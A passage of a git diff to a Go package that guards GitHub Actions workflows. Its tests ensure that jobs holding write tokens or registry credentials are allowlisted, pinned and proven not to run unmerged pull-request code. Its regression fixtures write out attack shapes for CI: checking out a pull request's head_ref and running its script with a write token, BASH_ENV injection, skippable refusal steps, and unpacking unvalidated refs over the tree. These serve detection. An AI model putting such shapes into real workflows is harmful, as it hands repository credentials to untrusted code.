environment " + key + } + } + } + for _, shell := range []string{step.Shell, job.Defaults.Run.Shell, wf.Defaults.Run.Shell} { + switch strings.TrimSpace(shell) { + case "", "bash", "sh", "bash -e {0}": + default: + return false, "runs under `shell: " + shell + + "`, which this package cannot judge as one that propagates a failure" + } + } + return true, "" +} + +// ------------------------------------------------- the gates + +// TestEveryPermittedJobMatchesItsRecordedShape is the record's own gate: each +// permitted job must still be the shape that was approved, and each template +// that claims an executing test must name one that exists. +// +// It is NOT the credential decision. That is TestEveryCredentialBearingJobIsRegistered +// below, which asks all three conjuncts. func TestEveryPermittedJobMatchesItsRecordedShape(t *testing.T) { _, workflows := loadIsolatedWorkflows(t) @@ -207,23 +596,25 @@ func TestEveryPermittedJobMatchesItsRecordedShape(t *testing.T) { tests := all.String() for _, template := range permittedCredentialJobs { - t.Run(template.workflow+"/"+template.job, func(t *testing.T) { + t.Run(recordKey(template.workflow, template.job), func(t *testing.T) { wf, ok := workflows[filepath.Join(repoRoot(t), ".github", "workflows", template.workflow)] require.True(t, ok, "%s does not exist", template.workflow) - raw, ok := wf.raw[template.job] + _, ok = wf.raw[template.job] require.True(t, ok, "%s has no job %q", template.workflow, template.job) - _ = raw - digest := canonicalWorkflowDigest(t, - filepath.Join(repoRoot(t), ".github", "workflows", template.workflow)) - recorded, present := recordedDigests[template.workflow] + key := recordKey(template.workflow, template.job) + digest := canonicalJobDigest(t, wf, template.job) + recorded, present := recordedJobDigests[key] require.True(t, present, - "no shape recorded for %s. Add this line to recordedDigests:\n"+ - "\t%q: %q,", template.workflow, template.workflow, digest) + "no shape recorded for %s. Add this line to recordedJobDigests:\n"+ + "\t%q: %q,", key, key, digest) require.Equal(t, recorded, digest, - "%s has changed shape (%s). If intended, update recordedDigests and "+ - "the test that executes this job in the same change.", - template.workflow, template.why) + "%s has changed shape (%s). If intended, update recordedJobDigests and "+ + "the test that executes this job in the same change. Re-recording "+ + "settles the record and nothing else: the judgement in "+ + "credentialJobIsAccepted is asked separately and a digest cannot "+ + "satisfy it.", + key, template.why) if template.executedBy != "" { require.Contains(t, tests, "func "+template.executedBy+"(", @@ -235,8 +626,8 @@ func TestEveryPermittedJobMatchesItsRecordedShape(t *testing.T) { } // And the converse, which is what makes this an allowlist: every job that -// receives a credential is registered. A new one is refused until someone adds -// a template and a test for it. +// receives a credential is registered AND judged. A new one is refused until +// someone adds a template and a test for it. func TestEveryCredentialBearingJobIsRegistered(t *testing.T) { paths, workflows := loadIsolatedWorkflows(t) @@ -268,6 +659,17 @@ func TestEveryCredentialBearingJobIsRegistered(t *testing.T) { require.Len(t, permittedCredentialJobs, found, "the allowlist and the set of credential-bearing jobs must be the same size, "+ "or one of them is carrying an entry the other does not") + + // And the record carries no entry for a job that is not registered, so a + // digest cannot outlive the job it was recorded for. + for key := range recordedJobDigests { + workflow, job, ok := strings.Cut(key, "/") + require.True(t, ok, "recordedJobDigests key %q is not workflow/job", key) + _, registered := templateFor(workflow, job) + require.True(t, registered, + "recordedJobDigests records %s, which permittedCredentialJobs does not list", + key) + } } // parsePermissionedFile reads one workflow for its permission blocks. @@ -280,11 +682,12 @@ func parsePermissionedFile(t *testing.T, path string) permissionedWorkflow { return wf } -// sortedTemplateNames is used by the message above and keeps the output stable. +// sortedTemplateNames names the permitted shapes in a refusal, so a reader of +// the failure sees what the allowlist actually holds. func sortedTemplateNames() []string { out := make([]string, 0, len(permittedCredentialJobs)) for _, template := range permittedCredentialJobs { - out = append(out, template.workflow+"/"+template.job) + out = append(out, recordKey(template.workflow, template.job)) } sort.Strings(out) return out diff --git a/internal/ciguard/reachable_helpers_test.go b/internal/ciguard/reachable_helpers_test.go new file mode 100644 index 00000000..a9f0aa4d --- /dev/null +++ b/internal/ciguard/reachable_helpers_test.go @@ -0,0 +1,174 @@ +package ciguard + +import ( + "encoding/json" + "go/ast" + "go/importer" + "go/parser" + "go/token" + "go/types" + "io" + "os" + "os/exec" + "path/filepath" + "sort" + "strings" + "testing" + + "github.com/stretchr/testify/require" +) + +// Reachability starts at test entry points and init, and follows resolved Go +// objects through declarations. Dead cycles do not create roots; a local or +// field with the same spelling is not a use of a package helper. Methods of a +// reached type are conservatively reached too, for interface dispatch. +func TestEveryHelperInThisPackageIsReachable(t *testing.T) { + sources, err := filepath.Glob(filepath.Join(repoRoot(t), "internal/ciguard/*.go")) + require.NoError(t, err) + fset := token.NewFileSet() + var files []*ast.File + imports := map[string]bool{} + for _, source := range sources { + file, err := parser.ParseFile(fset, source, nil, parser.SkipObjectResolution) + require.NoError(t, err) + files = append(files, file) + for _, spec := range file.Imports { + imports[strings.Trim(spec.Path.Value, `"`)] = true + } + } + // Ask Go for the actual module-selected export data; importer.Default alone + // cannot resolve modules. This compiles dependencies, never runs another test. + args := []string{"list", "-deps", "-export", "-json"} + for path := range imports { + args = append(args, path) + } + command := exec.Command("go", args...) + command.Dir = repoRoot(t) + output, err := command.Output() + require.NoError(t, err) + exports := map[string]string{} + decoder := json.NewDecoder(strings.NewReader(string(output))) + for { + var pkg struct{ ImportPath, Export string } + err := decoder.Decode(&pkg) + if err == io.EOF { + break + } + require.NoError(t, err) + exports[pkg.ImportPath] = pkg.Export + } + imp := importer.ForCompiler(fset, "gc", func(path string) (io.ReadCloser, error) { return os.Open(exports[path]) }) + unreached := unreachableDeclarations(t, fset, files, imp) + require.Empty(t, unreached, "unreachable ciguard declarations: %s; make them load-bearing or remove them and their promises", strings.Join(unreached, ", ")) +} + +func unreachableDeclarations(t *testing.T, fset *token.FileSet, files []*ast.File, imp types.Importer) []string { + t.Helper() + info := &types.Info{Defs: map[*ast.Ident]types.Object{}, Uses: map[*ast.Ident]types.Object{}} + conf := types.Config{Importer: imp} + pkg, err := conf.Check("ciguard", fset, files, info) + require.NoError(t, err) + nodes := map[types.Object]ast.Node{} + report := map[types.Object]bool{} + roots := map[types.Object]bool{} + methods := map[types.Object][]types.Object{} + for _, file := range files { + for _, decl := range file.Decls { + switch d := decl.(type) { + case *ast.FuncDecl: + obj := info.Defs[d.Name] + nodes[obj] = d + if d.Recv == nil { + if isTestEntryPoint(d.Name.Name) || d.Name.Name == "init" { + roots[obj] = true + } else { + report[obj] = true + } + } else { + recv := obj.Type().(*types.Signature).Recv().Type() + if pointer, ok := recv.(*types.Pointer); ok { + recv = pointer.Elem() + } + if named, ok := recv.(*types.Named); ok { + methods[named.Obj()] = append(methods[named.Obj()], obj) + } + } + case *ast.GenDecl: + for _, spec := range d.Specs { + switch value := spec.(type) { + case *ast.ValueSpec: + for _, name := range value.Names { + if name.Name != "_" { + obj := info.Defs[name] + nodes[obj] = value + report[obj] = true + } + } + case *ast.TypeSpec: + nodes[info.Defs[value.Name]] = value + } + } + } + } + } + edges := map[types.Object][]types.Object{} + for obj, node := range nodes { + ast.Inspect(node, func(n ast.Node) bool { + if ident, ok := n.(*ast.Ident); ok { + if used := info.Uses[ident]; used != nil && used.Pkg() == pkg { + edges[obj] = append(edges[obj], used) + } + } + return true + }) + edges[obj] = append(edges[obj], methods[obj]...) + } + var visit func(types.Object) + seen := map[types.Object]bool{} + visit = func(obj types.Object) { + if seen[obj] { + return + } + seen[obj] = true + for _, dep := range edges[obj] { + visit(dep) + } + } + for root := range roots { + visit(root) + } + var dead []string + for obj := range report { + if !seen[obj] { + dead = append(dead, obj.Name()) + } + } + sort.Strings(dead) + return dead +} + +func isTestEntryPoint(name string) bool { + for _, prefix := range []string{"Test", "Benchmark", "Fuzz", "Example"} { + if strings.HasPrefix(name, prefix) { + return true + } + } + return false +} + +func TestReachabilityDoesNotCountDeadCyclesOrShadowedNames(t *testing.T) { + fset := token.NewFileSet() + file, err := parser.ParseFile(fset, "probe.go", `package probe +func deadA(){deadB()} +func deadB(){deadA(); deadLeaf()} +func deadLeaf(){} +func shadowed(){} +func fieldOnly(){} +var deadValue = deadA +var liveValue = live +func live(){} +func TestRoot(){shadowed:=1;_ = shadowed; s:=struct{fieldOnly int}{fieldOnly:2};_ = s.fieldOnly;liveValue()} +`, parser.SkipObjectResolution) + require.NoError(t, err) + require.Equal(t, []string{"deadA", "deadB", "deadLeaf", "deadValue", "fieldOnly", "shadowed"}, unreachableDeclarations(t, fset, []*ast.File{file}, nil)) +} diff --git a/internal/ciguard/release_admission_test.go b/internal/ciguard/release_admission_test.go index 283edf31..c20102d0 100644 --- a/internal/ciguard/release_admission_test.go +++ b/internal/ciguard/release_admission_test.go @@ -30,22 +30,7 @@ const releaseRefusalStep = "require the tag to be on the default branch, or refu func releaseRefusalScript(t *testing.T) string { t.Helper() - _, workflows := loadIsolatedWorkflows(t) - path := filepath.Join(repoRoot(t), ".github", "workflows", "go-service-release.yml") - wf, ok := workflows[path] - require.True(t, ok, "go-service-release.yml did not load") - - for _, id := range isolatedJobIDs(wf) { - for _, step := range wf.Jobs[id].Steps { - if step.Name == releaseRefusalStep { - require.NotEmpty(t, step.Run) - return step.Run - } - } - } - t.Fatalf("no step named %q, so the refusal this test exercises is not the one that runs", - releaseRefusalStep) - return "" + return executionTestStep(t).Run } // releaseFixture is a repository with a default branch, an unmerged commit, and diff --git a/internal/ciguard/service_image_test.go b/internal/ciguard/service_image_test.go index 5f5f3872..3f6b6c15 100644 --- a/internal/ciguard/service_image_test.go +++ b/internal/ciguard/service_image_test.go @@ -57,7 +57,7 @@ func publishStep(t *testing.T, name string) isolatedStep { // runs with the registry credential. func TestAServiceImageIsPublishedOnlyFromTheRepositorysOwnDefaultBranch(t *testing.T) { t.Setenv("GH_TOKEN", "fixture-read-token") - script := publishStep(t, publishRefusalStep).Run + script := executionTestStep(t).Run for _, tc := range []struct { name string diff --git a/internal/ciguard/template_regression_test.go b/internal/ciguard/template_regression_test.go index 1e067432..2f6124cf 100644 --- a/internal/ciguard/template_regression_test.go +++ b/internal/ciguard/template_regression_test.go @@ -9,14 +9,23 @@ import ( "github.com/stretchr/testify/require" ) -// Every construction six review rounds produced, asked of the template rule. +// Every construction six review rounds produced, asked of the ALLOWLIST. // // Under the old rules each of these needed its own answer, and each round found // routes the answers did not cover: a source outside the context list, a sink -// outside the field list, a verb outside the command list. The template rule -// does not answer them individually. None of them is a registered shape, so all -// of them are refused -- and so is the next one, which is the property six -// rounds of lists could not provide. +// outside the field list, a verb outside the command list. None of them is +// answered individually here either. None is a registered shape, so all are +// refused by the first conjunct alone -- and so is the next one, which is the +// property six rounds of lists could not provide. +// +// That is this test's whole claim, and it is a narrow one: it says the +// allowlist discriminates, NOT that anything about these constructions was +// evaluated. Treating "the allowlist refuses what is not on it" as the whole +// credential decision is what let a REGISTERED job hold a write token while +// running a pull request's tree -- see +// TestThePlantedWriteTokenViolationStaysCaught below, which asks the judgement +// instead, and TestRepointingTheTagJobsTreeWithoutProvingTheCommitIsRefused, +// which puts several of the constructions below inside a registered job. // // They are kept as fixtures rather than deleted, because a rule that refuses // everything is worthless: TestThePermittedShapesAreStillAccepted is the other @@ -99,14 +108,15 @@ func TestThePermittedShapesAreStillAccepted(t *testing.T) { } } -// The record pins the WHOLE workflow document, so a change anywhere in it -- -// including workflow-level `defaults:` and `env:`, which choose the interpreter -// and the environment every step in the job runs under -- stops matching. -func TestAnyChangeToAPermittedWorkflowStopsItMatching(t *testing.T) { +// The record pins the job and everything the job inherits, so a change to any +// of it stops matching -- including workflow-level `defaults:` and `env:`, +// which choose the interpreter and the environment every step in the job runs +// under. +func TestTheRecordPinsTheJobAndEverythingItInherits(t *testing.T) { path := filepath.Join(repoRoot(t), ".github", "workflows", "go-service-release.yml") raw, err := os.ReadFile(path) require.NoError(t, err) - before := canonicalWorkflowDigest(t, path) + before := digestOfJobIn(t, string(raw), "go-service-release.yml", "goreleaser") for _, tc := range []struct{ name, from, to string }{ { @@ -119,6 +129,16 @@ func TestAnyChangeToAPermittedWorkflowStopsItMatching(t *testing.T) { from: "jobs:\n", to: "env:\n BASH_ENV: .github/release-env.sh\njobs:\n", }, + { + name: "a workflow-level permission the job would inherit", + from: "jobs:\n", + to: "permissions:\n contents: write\njobs:\n", + }, + { + name: "a trigger added, which changes the situations it answers for", + from: "on:\n workflow_call:\n", + to: "on:\n pull_request:\n workflow_call:\n", + }, { name: "a step added to the registered job", from: " - name: Run GoReleaser\n", @@ -127,27 +147,56 @@ func TestAnyChangeToAPermittedWorkflowStopsItMatching(t *testing.T) { } { t.Run(tc.name, func(t *testing.T) { require.Contains(t, string(raw), tc.from) - mutated := filepath.Join(t.TempDir(), "go-service-release.yml") - require.NoError(t, os.WriteFile(mutated, - []byte(strings.Replace(string(raw), tc.from, tc.to, 1)), 0o600)) - require.NotEqual(t, before, canonicalWorkflowDigest(t, mutated), + mutated := strings.Replace(string(raw), tc.from, tc.to, 1) + require.NotEqual(t, before, + digestOfJobIn(t, mutated, "go-service-release.yml", "goreleaser"), "the change left the digest unchanged, so the record does not pin it") }) } } +// And the converse, which is the reason the record is scoped at all. It used to +// hash the whole file, so a Dependabot bump of an action pin in a job that holds +// nothing refused every registered job in the file: #705 moved three pins and +// two digests were re-recorded to clear it. Routine maintenance and a real +// violation then produced the same failure with the same one-line remedy, and a +// reviewer could not tell them apart. +func TestAChangeOutsideTheJobDoesNotForceAReRecord(t *testing.T) { + path := filepath.Join(repoRoot(t), ".github", "workflows", "go.yml") + raw, err := os.ReadFile(path) + require.NoError(t, err) + before := digestOfJobIn(t, string(raw), "go.yml", "coverage-badge") + + const pin = "actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0" + require.Contains(t, string(raw), pin, + "this fixture bumps an action pin that the registered job does not use") + bumped := strings.ReplaceAll(string(raw), pin, + "actions/setup-go@0000000000000000000000000000000000000000 # v7.0.1") + require.NotContains(t, bumped, pin) + + require.Equal(t, before, digestOfJobIn(t, bumped, "go.yml", "coverage-badge"), + "an action pin in a job that holds no credential changed the record of one "+ + "that does, so a dependency bump and a credential regression are again "+ + "the same failure") +} + +// digestOfJobIn digests one job of a workflow given as text, so a mutation need +// not be written to disk to be judged. +func digestOfJobIn(t *testing.T, text, name, job string) string { + t.Helper() + wf := parseIsolatedDocument(t, text, name) + wf.name = name + return canonicalJobDigest(t, wf, job) +} + // The digest depends on content, not on formatting, or every whitespace change // would read as a new shape. func TestTheDigestIgnoresFormatting(t *testing.T) { - dir := t.TempDir() - compact := filepath.Join(dir, "a.yml") - spelled := filepath.Join(dir, "b.yml") - require.NoError(t, os.WriteFile(compact, - []byte("on: push\njobs:\n j:\n runs-on: ubuntu-latest\n steps:\n - run: echo hi\n"), 0o600)) - require.NoError(t, os.WriteFile(spelled, - []byte("on: push\njobs:\n j:\n runs-on: \"ubuntu-latest\"\n steps:\n - run: 'echo hi'\n"), 0o600)) - require.Equal(t, canonicalWorkflowDigest(t, compact), canonicalWorkflowDigest(t, spelled)) - _ = sortedTemplateNames() + compact := "on: push\njobs:\n j:\n runs-on: ubuntu-latest\n steps:\n - run: echo hi\n" + spelled := "on: push\njobs:\n j:\n runs-on: \"ubuntu-latest\"\n steps:\n - run: 'echo hi'\n" + require.Equal(t, + digestOfJobIn(t, compact, "a.yml", "j"), + digestOfJobIn(t, spelled, "b.yml", "j")) } // A registered job must run no repository file that the record does not pin. @@ -207,3 +256,230 @@ func TestTheDecisionRefusesAChangedWorkflow(t *testing.T) { }) } } + +// The planted violation, and every remediation a developer reaches for. +// +// This is the regression that matters most in this package, so it is asserted +// on the JUDGEMENT rather than on the suite: each case below is handed to +// `provablyUnreachable` and `acceptedExecution` directly, with no digest +// anywhere in the question. That is the property the previous design lacked. +// Its decision was `(workflow, job) ∈ allowlist && sha256(file) == constant`, +// so this exact violation went green by re-recording one 64-character string -- +// the remediation the failure message printed. +// +// The violation is the one a review of #707 planted and landed: take +// `go.yml` · `coverage-badge`, which is registered and carries +// `contents: write`, give it a condition that no longer excludes +// `pull_request`, point its checkout at the pull request's own branch, and add +// a `run:` step executing a script out of that tree. +func TestThePlantedWriteTokenViolationStaysCaught(t *testing.T) { + path := filepath.Join(repoRoot(t), ".github", "workflows", "go.yml") + raw, err := os.ReadFile(path) + require.NoError(t, err) + + const ( + gate = " if: github.event_name == 'push' && github.ref == 'refs/heads/main'\n" + admits = " if: always() && needs.build.result == 'success'\n" + pinnedRef = " ref: main\n" + chosenRef = " ref: ${{ github.head_ref }}\n" + publisher = " - name: publish the coverage badge\n" + treeScript = " - name: render the badge\n run: bash ./scripts/govulncheck.sh\n\n" + + " - name: publish the coverage badge\n" + soundRefusal = "\n - name: require the commit to be on the default branch, or refuse\n" + + " run: |\n set -euo pipefail\n" + + " if ! git merge-base --is-ancestor \"$GITHUB_SHA\" \"refs/remotes/origin/main\"; then\n" + + " echo \"::error::not on main\" >&2\n exit 1\n fi\n" + ) + // `coverage-badge` is the second job in go.yml whose `if:` reads this way + // (`notify` is the other), and the mutations must land on the badge job, so + // each replacement is anchored at the badge job's own text. + badge := strings.Index(string(raw), " coverage-badge:\n") + require.NotEqual(t, -1, badge, "go.yml no longer has a coverage-badge job") + head, tail := string(raw)[:badge], string(raw)[badge:] + require.Contains(t, tail, gate) + require.Contains(t, tail, pinnedRef) + require.Contains(t, tail, publisher) + + plant := func(edits ...[2]string) string { + out := tail + for _, edit := range edits { + replaced := strings.Replace(out, edit[0], edit[1], 1) + require.NotEqual(t, out, replaced, "mutation did not apply: %q", edit[0]) + out = replaced + } + return head + out + } + + violation := [][2]string{ + {gate, admits}, + {pinnedRef, chosenRef}, + {publisher, treeScript}, + } + + for _, tc := range []struct { + name string + edits [][2]string + // reason is a substring the refusal must name, so a case cannot pass by + // being refused for some unrelated reason. + reason string + }{ + { + name: "the violation as planted", + edits: violation, + }, + { + // The old design's entire remediation. It is not in this table as + // a mutation because it cannot be: the digest is not consulted by + // either limb, so re-recording is a no-op against the judgement. + // The case below is the violation plus a refusal step whose NAME + // matches the one the previous mechanism matched on. + name: "a step borrowing the refusal's name", + edits: append(append([][2]string{}, violation...), [2]string{ + " - name: render the badge\n", + " - name: require the tag to be on the default branch, or refuse\n" + + " run: echo checked\n\n - name: render the badge\n", + }), + }, + { + name: "a real refusal, but skippable by a step-level if:", + edits: append(append([][2]string{}, violation...), [2]string{ + chosenRef, + chosenRef + strings.Replace(soundRefusal, + " run: |\n", " if: github.event_name == 'push'\n run: |\n", 1), + }), + }, + { + name: "a real refusal, but made non-fatal", + edits: append(append([][2]string{}, violation...), [2]string{ + chosenRef, + chosenRef + strings.Replace(soundRefusal, + " run: |\n", " continue-on-error: true\n run: |\n", 1), + }), + }, + { + // The hole a probe of THIS guard found: an ancestry refusal speaks + // for `$GITHUB_SHA`, and the tree here holds `github.head_ref`. + name: "a real, unconditional refusal beside a party-chosen checkout ref", + edits: append(append([][2]string{}, violation...), + [2]string{chosenRef, chosenRef + soundRefusal}), + }, + { + // The one shape whose MECHANISM is sound: the tree is the + // triggering commit and the refusal speaks for exactly that. On a + // pull request `$GITHUB_SHA` is the merge commit, which is not an + // ancestor of the default branch, so the job exits before any step + // runs tree content -- and the invariant is "no job RUNS pull + // request code with a write token", not "no write token sits in a + // reachable job". + // + // It is still refused, and by the last thing standing: a refusal + // written in shell is read here, never executed, so the template + // has to name a test that executes it. `coverage-badge` names none, + // because it had no script of its own. A developer taking this + // route has to write that test, which is the friction the two jobs + // that DO take it (`version-tag.yml` · `tag` and + // `go-service-release.yml` · `goreleaser`) already pay. + name: "the triggering commit, refused before anything runs", + edits: append(append([][2]string{}, violation[0], violation[2]), + [2]string{pinnedRef, soundRefusal}), + reason: "Name the test that executes it", + }, + } { + t.Run(tc.name, func(t *testing.T) { + wf := parseIsolatedDocument(t, plant(tc.edits...), "go.yml") + wf.name = "go.yml" + + unreachable, why := provablyUnreachable(t, + wf.Jobs["coverage-badge"].If, hostileScenariosFor(wf.On)) + require.False(t, unreachable, + "this fixture depends on the job being reachable from a pull request (%s)", why) + + established, how := acceptedExecution(t, wf, "coverage-badge") + require.False(t, established, + "this violation was accepted, and no digest was consulted to accept it") + if tc.reason != "" { + require.Contains(t, how, tc.reason, + "refused, but for a different reason than the case is about") + } + }) + } + + // And the clean tree, so the table above is discriminating rather than + // refusing everything. + wf := parseIsolatedDocument(t, string(raw), "go.yml") + wf.name = "go.yml" + accepted, missing := credentialJobIsAccepted(t, wf, "coverage-badge") + require.True(t, accepted, "the unmodified coverage-badge job was refused: %s", missing) +} + +// `version-tag.yml` · `tag` is the one registered job that deliberately puts a +// different commit's content in its tree: it checks out the default branch, +// proves the triggering sha is reachable from it, and only then +// `git switch --detach`es onto it. The order is the whole safety argument, so +// these are the ways of breaking it — each refused, and refused without the +// record being consulted. +// +// The shell attribution must remain load-bearing independently of the record. +func TestRepointingTheTagJobsTreeWithoutProvingTheCommitIsRefused(t *testing.T) { + path := filepath.Join(repoRoot(t), ".github", "workflows", "version-tag.yml") + raw, err := os.ReadFile(path) + require.NoError(t, err) + + const ( + refusal = " if ! git merge-base --is-ancestor \"$SHA\" \"refs/remotes/origin/${DEFAULT_BRANCH}\"; then\n" + switchTo = " git switch --detach \"$SHA\"\n" + ) + require.Contains(t, string(raw), refusal, + "the ancestry refusal this test breaks is not where it was") + require.Contains(t, string(raw), switchTo, + "the tree selection this test breaks is not where it was") + + // Unbroken, the job is accepted -- so the cases below fail for the reason + // they are about rather than because this job never passed. + clean := parseIsolatedDocument(t, string(raw), "version-tag.yml") + clean.name = "version-tag.yml" + established, how := acceptedExecution(t, clean, "tag") + require.True(t, established, "the unmodified tag job was refused: %s", how) + + for _, tc := range []struct{ name, from, to, names string }{ + { + name: "the refusal removed, leaving the switch", + from: refusal, to: " if false; then\n", + names: "$SHA", + }, + { + name: "the switch pointed at a fetched ref the refusal never validated", + from: switchTo, to: " git switch --detach FETCH_HEAD\n", + names: "FETCH_HEAD", + }, + { + name: "one file restored from a ref the refusal never validated", + from: switchTo, to: " git restore --source=FETCH_HEAD -- version/info.codefly.yaml\n", + names: "FETCH_HEAD", + }, + { + name: "an archive unpacked over the tree, naming no commit to validate", + from: switchTo, to: " git archive FETCH_HEAD | tar -x\n", + names: "without naming a commit", + }, + { + name: "a patch applied, naming no commit to validate", + from: switchTo, to: " git diff HEAD origin/topic | git apply\n", + names: "without naming a commit", + }, + } { + t.Run(tc.name, func(t *testing.T) { + mutated := strings.Replace(string(raw), tc.from, tc.to, 1) + require.NotEqual(t, string(raw), mutated, "mutation did not apply") + + wf := parseIsolatedDocument(t, mutated, "version-tag.yml") + wf.name = "version-tag.yml" + established, how := acceptedExecution(t, wf, "tag") + require.False(t, established, + "the tag job's tree was repointed to something no refusal validated "+ + "and the execution guard accepted it") + require.Contains(t, how, tc.names, + "refused, but for a different reason than the case is about") + }) + } +} diff --git a/internal/ciguard/testdata/dispatch-publisher.yml b/internal/ciguard/testdata/dispatch-publisher.yml new file mode 100644 index 00000000..aa15aff9 --- /dev/null +++ b/internal/ciguard/testdata/dispatch-publisher.yml @@ -0,0 +1,200 @@ +name: publish-service-image + +# Builds a service's image for several platforms and pushes it BY DIGEST, +# carrying no tag, then records the digest as for the caller to +# commit. Nothing resolves the image yet: the caller's release creates the tags +# consumers use, from the digest the lock records. +# +# It runs before the release tag rather than from it. A service pins the digest +# it runs, and a digest is only known once the image is built, so a tag cut +# before the build can never carry it. Publishing here, committing the digest, +# and tagging afterwards is what lets the released service name the image that +# was actually built for its version. resources.ParseImageLock reads the lock. +# +# A caller is a workflow_dispatch workflow with a `version` input and one job +# that calls this workflow by its job-level `uses`, pinned to an immutable core +# commit SHA rather than @main. That job grants `contents: read` and +# `packages: write`, passes `version` under `with:` (the image name defaults to +# the caller's repository name), and passes the registry credential under +# `secrets:` as `registry-token: ${{ secrets.GITHUB_TOKEN }}`. +# +# The registry credential is a secret the caller passes, not this workflow's +# own token. `permissions:` here can only narrow what the caller grants, and a +# reusable workflow declares no write (see internal/ciguard); the caller's job +# is where `packages: write` is decided, and the token travels as a value. +on: + workflow_call: + inputs: + image-name: + description: Explicit image-name override inside core's image registry; omitted uses the caller's repository name. + default: '' + type: string + version: + description: Upcoming stable service version, without a v prefix. Stamped on the image as org.opencontainers.image.version. + required: true + type: string + lock-file: + description: File name recorded for the caller to commit, -image.json. + type: string + default: gateway-image.json + platforms: + description: Comma-separated platforms to build. The evidence the caller publishes has to cover exactly these. + type: string + default: linux/amd64,linux/arm64 + secrets: + registry-token: + description: Credential that can push to the registry, normally the caller's GITHUB_TOKEN from a job that grants packages write. + required: true + outputs: + digest: + description: The sha256 digest of the pushed image index. + value: ${{ jobs.publish.outputs.digest }} + +env: + # core's resources.ImageRegistry. A workflow cannot import a Go constant, so + # internal/ciguard holds the two together. + REGISTRY: ghcr.io/codefly-dev + +jobs: + # This job holds the caller's registry credential, and `permissions:` says + # nothing about a secret. It builds the CALLER's Dockerfile, so what keeps + # that credential from code nobody merged is the same pair of conditions + # go-service-release.yml's release job relies on: the `if:` keeps the job off + # every event but a dispatch, which a pull request cannot produce, and the + # first step refuses a commit that is not reachable from the caller's default + # branch, because a dispatch can name any branch. internal/ciguard holds both. + publish: + if: github.event_name == 'workflow_dispatch' + runs-on: ubuntu-latest + timeout-minutes: 30 + permissions: + # The registry is reached with the secret above, never with this job's + # token, so this job needs no write grant -- and a caller that grants + # packages write does not hand that grant to anything here. + contents: read + outputs: + digest: ${{ steps.build.outputs.digest }} + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 0 + # The build context may include .git even for COPY . . callers. + # Authentication for the refusal is ephemeral, never stored here. + persist-credentials: false + + - name: require the commit to be on the default branch, or refuse + env: + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + + # Private repositories need authentication for these two remote + # reads. Command-scoped config disappears with git; neither the token + # nor a credential-bearing config file enters the Docker context. + git_remote() { + local authorization + authorization=$(printf 'x-access-token:%s' "$GH_TOKEN" | base64 | tr -d '\n') + git -c "http.https://github.com/.extraheader=AUTHORIZATION: basic ${authorization}" "$@" + } + + # The authority is the remote's own HEAD, and there is no input that + # can name it. A declaration the caller supplies could be omitted, + # defaulted or disagreed with, and each of those is a way for the + # caller to choose which history counts as reviewed. Whoever may + # approve a publication is this repository's decision, so the only + # source is the repository. + authority=$(git_remote ls-remote --symref origin HEAD \ + | awk '$1 == "ref:" && $3 == "HEAD" { sub("refs/heads/", "", $2); print $2 }') + if [ -z "$authority" ]; then + echo "::error::cannot read this repository's default branch from origin; refusing to publish." >&2 + exit 1 + fi + + git_remote fetch --quiet --no-tags --force origin \ + "+refs/heads/${authority}:refs/remotes/origin/${authority}" + + # Fully qualified: a bare `origin/` is an ambiguous rev that a tag + # of the same name can win. + if ! git merge-base --is-ancestor "$GITHUB_SHA" "refs/remotes/origin/${authority}"; then + echo "::error::${GITHUB_REF_NAME} points at ${GITHUB_SHA}, which is not reachable from refs/remotes/origin/${authority}; refusing to publish it." >&2 + echo "Publishing builds this repository's Dockerfile with a registry credential, so the commit has to be one that was merged." >&2 + exit 1 + fi + + # Through the environment, never interpolated into the script: a `run:` + # built by substituting a caller-supplied string is assembled before any + # shell sees it, so the string becomes part of the program. + - name: Validate the inputs + id: inputs + env: + IMAGE_NAME: ${{ inputs.image-name }} + CALLER_REPOSITORY: ${{ github.repository }} + VERSION: ${{ inputs.version }} + LOCK_FILE: ${{ inputs.lock-file }} + PLATFORMS: ${{ inputs.platforms }} + run: | + set -euo pipefail + if [ -z "$IMAGE_NAME" ]; then + IMAGE_NAME=$(printf '%s' "${CALLER_REPOSITORY##*/}" | tr '[:upper:]' '[:lower:]') + fi + if [[ ! "$IMAGE_NAME" =~ ^[a-z0-9]+([._-][a-z0-9]+)*$ ]]; then + echo "image-name must be a lowercase repository name inside the registry" >&2 + exit 1 + fi + if [[ ! "$VERSION" =~ ^(0|[1-9][0-9]*)\.(0|[1-9][0-9]*)\.(0|[1-9][0-9]*)$ ]]; then + echo "version must be a stable semantic version without a v prefix" >&2 + exit 1 + fi + if [[ ! "$LOCK_FILE" =~ ^[a-z0-9]+(-[a-z0-9]+)*-image\.json$ ]]; then + echo "lock-file must be a plain file name of the form -image.json" >&2 + exit 1 + fi + if [[ ! "$PLATFORMS" =~ ^[a-z0-9]+/[a-z0-9]+(,[a-z0-9]+/[a-z0-9]+)*$ ]]; then + echo "platforms must be comma-separated os/arch pairs" >&2 + exit 1 + fi + { + echo "image=${REGISTRY}/${IMAGE_NAME}" + echo "version=$VERSION" + } >> "$GITHUB_OUTPUT" + + - uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4.4.1 + - uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3.7.0 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ secrets.registry-token }} + + # The version label is how a release tells this image apart from the one + # published for an earlier version: both are digests in the same + # repository, and a lock left unrefreshed would otherwise publish the + # previous release's bytes under the new tag. + - uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0 + id: build + with: + context: . + platforms: ${{ inputs.platforms }} + labels: org.opencontainers.image.version=${{ steps.inputs.outputs.version }} + outputs: type=image,name=${{ steps.inputs.outputs.image }},push-by-digest=true,name-canonical=true,push=true + + - name: Record the digest + env: + IMAGE: ${{ steps.inputs.outputs.image }} + DIGEST: ${{ steps.build.outputs.digest }} + LOCK_FILE: ${{ inputs.lock-file }} + run: | + set -euo pipefail + mkdir -p release-evidence + jq -n --arg name "$IMAGE" --arg digest "$DIGEST" '{name: $name, digest: $digest}' > "release-evidence/${LOCK_FILE}" + { + echo "Commit this as \`${LOCK_FILE}\`, then tag the release:" + echo + echo '```json' + cat "release-evidence/${LOCK_FILE}" + echo '```' + } >> "$GITHUB_STEP_SUMMARY" + - uses: 